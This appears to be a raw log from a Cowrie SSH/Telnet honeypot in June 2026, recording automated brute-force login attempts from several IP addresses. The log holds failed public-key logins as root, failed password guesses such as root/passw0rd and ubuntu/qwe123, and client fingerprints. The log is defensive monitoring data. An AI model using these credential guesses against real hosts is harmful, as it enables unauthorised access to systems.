{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:67:81:fe:f7:45:eb:e4:83:82:a3:cf:58:e7:29:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAyys932iec8C1g8c/O67yjJ/hq+NPraBlVHjjoQY7+uzcQQhJCZGyXxT2DZZ6LLMwMvE6UIj5demPt3YWBHJlxPWyIZahNzCjrOxxlfGQYJ+2Gy7FFZ1UF5/IBeXF1RcgvX8B9NDMrz95hkzNld80HLqmVVbDlqRyUNaT0dRP5GiIIvVIshK92IrOSDyfaUYEgmwuz4I8+3k/brVD8cCWFRabzXZtKmCELtIjHaQYW966IAkucIHEv71sbzvDWUhlFVxf9GkoEIcSSTcsAup2PhsPvgFv6TPzJGLHe2YNnPkVCLZBrvEBL1+0JgFRtod/Mr9G6oghRjz55j0N4xCGNyPmD3nKLIeqqCKf5WwOfasME7FY8J56nu7JGIcHTLgeYc17vZGW+YdZUndsPW+74RW6jFtt3N8UuDzFTCz0cl7qW47RZfyLxTe58dAbXYi79HwdzphMQV3abxD0SKAlj3T6wP0Xf1RGYA6VfIp4kZiQxiRi71iIHLDiapX1ASabjwkCXO7Bt2lWmB717f5GSuxXRAs5S3/y4g/20KZEEs6Q28187TpW+FpbKzO9/yTUbBN3ET654W7YPnTvoR+EasAwEIrebqZxHwE5izEHfSq9g4IandYwkVbWk4P+BKzqnnJYJ3uTo2JieQhVisaEtUJhkn3uKS9m8K+L69QWTDk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.461396Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:a8:df:1e:f0:f2:10:9c:2f:7d:bb:bd:ec:0e:87:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxw/o01CzX4ivHi3fx8UutP47sMvFv+nBrkrIpTaUASlxo5M0HGCIvHZTw+0lZ3fVxT5pNERDcc1wDFe1Z5kHGpIjdkECVttDOppOOG5KwA7+vZ85bTIYSx4POG5PRCxci4JNRZD0Vj7T5U0lvmg0zQVqBYPZzIX07khT375bcZZhXC0VhCr4zidr2D2Szxz6K3ffbjkq9Vx4A2j3ZLQOicsT9j1W6pbo+lcDsZu6kgJtMviifdJapETqRn6vxgEst7zo8CFFnwLocQMo2wIPyja9V8ekoQtYom9/PcRVUjb9dBt9Wet9gxkKDvNwpXv1RzhP9UI7uLiPyTrxH48s8kw8OvHMjwB6yDTNtwkqxDamPNZJ/XkNcEEoYCFAPWeu0bHEZ3Pdgrur5mdiOO0jwT9R6vuBiqmyavTH/rbilEeg9ZkkhwO008yH/byfOkaLsDRkr+VFQq7DAhm2cd7JujVcDkJ1r5Aks+v1RFkwe4t+Q6qH7KCsKdeaDPLmjhrp9hReBxpg970LN+slrpZ8SZ86yOf/yoIZPeurBwDVp6La9CNMR1bFshlwExQ/+a/cul0w1V1RFSEJLpwgYunRwMZjw2Fw2q9VyC1eBl3Izas7MbJgT/YFE1SjmOhL13SOg01iEN+rvb7jjrgcDEnTyBWgxlcRLt7hQDXU5xME15Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:a8:df:1e:f0:f2:10:9c:2f:7d:bb:bd:ec:0e:87:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.548309Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:a8:df:1e:f0:f2:10:9c:2f:7d:bb:bd:ec:0e:87:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxw/o01CzX4ivHi3fx8UutP47sMvFv+nBrkrIpTaUASlxo5M0HGCIvHZTw+0lZ3fVxT5pNERDcc1wDFe1Z5kHGpIjdkECVttDOppOOG5KwA7+vZ85bTIYSx4POG5PRCxci4JNRZD0Vj7T5U0lvmg0zQVqBYPZzIX07khT375bcZZhXC0VhCr4zidr2D2Szxz6K3ffbjkq9Vx4A2j3ZLQOicsT9j1W6pbo+lcDsZu6kgJtMviifdJapETqRn6vxgEst7zo8CFFnwLocQMo2wIPyja9V8ekoQtYom9/PcRVUjb9dBt9Wet9gxkKDvNwpXv1RzhP9UI7uLiPyTrxH48s8kw8OvHMjwB6yDTNtwkqxDamPNZJ/XkNcEEoYCFAPWeu0bHEZ3Pdgrur5mdiOO0jwT9R6vuBiqmyavTH/rbilEeg9ZkkhwO008yH/byfOkaLsDRkr+VFQq7DAhm2cd7JujVcDkJ1r5Aks+v1RFkwe4t+Q6qH7KCsKdeaDPLmjhrp9hReBxpg970LN+slrpZ8SZ86yOf/yoIZPeurBwDVp6La9CNMR1bFshlwExQ/+a/cul0w1V1RFSEJLpwgYunRwMZjw2Fw2q9VyC1eBl3Izas7MbJgT/YFE1SjmOhL13SOg01iEN+rvb7jjrgcDEnTyBWgxlcRLt7hQDXU5xME15Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.551028Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:51:f7:fc:a7:4d:54:62:2c:49:be:a2:99:71:9e:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICPQRSAIjBzdfrYcMk7+bxQQUAnaop3ha/qcvYVuDyMQ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 75:51:f7:fc:a7:4d:54:62:2c:49:be:a2:99:71:9e:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.634354Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:51:f7:fc:a7:4d:54:62:2c:49:be:a2:99:71:9e:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICPQRSAIjBzdfrYcMk7+bxQQUAnaop3ha/qcvYVuDyMQ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.637253Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:fa:47:e7:11:67:89:6f:e0:7a:1b:29:a5:10:5b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvtqCEjnygrNFATjzdy61jeUHjliCR8Ggw49LOklIV28rAjpCI/yHcC90ot6VyBkHPOcTWaNeLc/KTAUM+rZagXHfzpzNhUeneYOGaewEHvW0OKiifd5NO7W0l+ZRXEFx5uk4Qij8t9Mk8Bl3aZmy8tqFGBEf/PV3n/yO07s+i/ZCdiGkATYEt1H/wzKgngMqcqCeVBbiEJbr5QBuxDLPtLWxZg3Xa+5v+nYHHVnMN4viOAPsWXqyicUjq8GxiW9TweAgSm24ATGFx2sp06FqW81F+9iBhONSy4LStien1PJTsKaouPOQqhw8hhqNX0xB9DDcRn6/w+ZDFfIwPGpAl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:fa:47:e7:11:67:89:6f:e0:7a:1b:29:a5:10:5b:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.720680Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:fa:47:e7:11:67:89:6f:e0:7a:1b:29:a5:10:5b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvtqCEjnygrNFATjzdy61jeUHjliCR8Ggw49LOklIV28rAjpCI/yHcC90ot6VyBkHPOcTWaNeLc/KTAUM+rZagXHfzpzNhUeneYOGaewEHvW0OKiifd5NO7W0l+ZRXEFx5uk4Qij8t9Mk8Bl3aZmy8tqFGBEf/PV3n/yO07s+i/ZCdiGkATYEt1H/wzKgngMqcqCeVBbiEJbr5QBuxDLPtLWxZg3Xa+5v+nYHHVnMN4viOAPsWXqyicUjq8GxiW9TweAgSm24ATGFx2sp06FqW81F+9iBhONSy4LStien1PJTsKaouPOQqhw8hhqNX0xB9DDcRn6/w+ZDFfIwPGpAl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.723236Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:67:ef:b4:9d:0e:f7:08:a8:96:4f:6f:eb:8e:fa:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRyICka05bMsMqtVyGXx3QyWGtulu6ej9oXXWqds5c6o/172OM2Uo/0np3a6GQbhZrof6E9uSAxP5ANbPMFcoiE9RM51xbUZY1QzNHHdWWWsjYWfA4YtD4vU7aRQyJxfBbGNoBaPx6RQ1y1TUjFfNXNR/5sT0E9ynRJzRoSeGan+4RCKI8PtayCftQQNW2/gBsoM9igOZIh+I8vUbEEFbYUzJrV63m9FVz798eRcz8TRZQZQ30sctxoqo3xQVdSwORBPDrgfS8vrfuPFzG8MQ2KWLUAdyidBkUOQYpqnMs0tR1mP8vZ9RkC2Ww5sw3dDIQiQEQS5V16WvOco7d4RXJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:67:ef:b4:9d:0e:f7:08:a8:96:4f:6f:eb:8e:fa:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.806474Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:67:ef:b4:9d:0e:f7:08:a8:96:4f:6f:eb:8e:fa:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRyICka05bMsMqtVyGXx3QyWGtulu6ej9oXXWqds5c6o/172OM2Uo/0np3a6GQbhZrof6E9uSAxP5ANbPMFcoiE9RM51xbUZY1QzNHHdWWWsjYWfA4YtD4vU7aRQyJxfBbGNoBaPx6RQ1y1TUjFfNXNR/5sT0E9ynRJzRoSeGan+4RCKI8PtayCftQQNW2/gBsoM9igOZIh+I8vUbEEFbYUzJrV63m9FVz798eRcz8TRZQZQ30sctxoqo3xQVdSwORBPDrgfS8vrfuPFzG8MQ2KWLUAdyidBkUOQYpqnMs0tR1mP8vZ9RkC2Ww5sw3dDIQiQEQS5V16WvOco7d4RXJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.809716Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.896259Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35768,"dst_ip":"10.17.0.5","dst_port":22,"session":"25a42f888092","protocol":"ssh","message":"New connection: 91.92.42.227:35768 (10.17.0.5:22) [session: 25a42f888092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:53.093851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:53.358647Z","src_ip":"91.92.42.227","session":"25a42f888092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:53.379859Z","src_ip":"91.92.42.227","session":"25a42f888092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1","message":"login attempt [runner/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:54.904488Z","src_ip":"91.92.42.227","session":"25a42f888092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:56.313135Z","src_ip":"91.92.42.227","session":"25a42f888092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59112,"dst_ip":"10.17.0.5","dst_port":22,"session":"54da1cf2e76c","protocol":"ssh","message":"New connection: 91.92.42.227:59112 (10.17.0.5:22) [session: 54da1cf2e76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:00.081707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:00.273479Z","src_ip":"91.92.42.227","session":"54da1cf2e76c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:00.277080Z","src_ip":"91.92.42.227","session":"54da1cf2e76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:01.731021Z","src_ip":"91.92.42.227","session":"54da1cf2e76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:02.973165Z","src_ip":"91.92.42.227","session":"54da1cf2e76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.701833963394165,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:06.280965Z","src_ip":"172.81.62.90","session":"bba42347cf80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33466,"dst_ip":"10.17.0.5","dst_port":22,"session":"361a4377e3e0","protocol":"ssh","message":"New connection: 91.92.42.227:33466 (10.17.0.5:22) [session: 361a4377e3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:07.351416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:07.360181Z","src_ip":"91.92.42.227","session":"361a4377e3e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:07.435686Z","src_ip":"91.92.42.227","session":"361a4377e3e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:07.773033Z","src_ip":"91.92.42.227","session":"361a4377e3e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48960,"dst_ip":"10.17.0.5","dst_port":23,"session":"3150ec003053","protocol":"telnet","message":"New connection: 172.81.62.90:48960 (10.17.0.5:23) [session: 3150ec003053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:07.857699Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:08.909251Z","src_ip":"91.92.42.227","session":"361a4377e3e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33500,"dst_ip":"10.17.0.5","dst_port":22,"session":"91e56c238bf4","protocol":"ssh","message":"New connection: 91.92.42.227:33500 (10.17.0.5:22) [session: 91e56c238bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:14.194255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:14.198888Z","src_ip":"91.92.42.227","session":"91e56c238bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:14.300388Z","src_ip":"91.92.42.227","session":"91e56c238bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:14.573755Z","src_ip":"91.92.42.227","session":"91e56c238bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:15.759452Z","src_ip":"91.92.42.227","session":"91e56c238bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52444,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee10425fe03","protocol":"ssh","message":"New connection: 91.92.42.227:52444 (10.17.0.5:22) [session: aee10425fe03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:20.591580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:20.837682Z","src_ip":"91.92.42.227","session":"aee10425fe03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:20.840739Z","src_ip":"91.92.42.227","session":"aee10425fe03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:22.724741Z","src_ip":"91.92.42.227","session":"aee10425fe03","protocol":"ssh"}
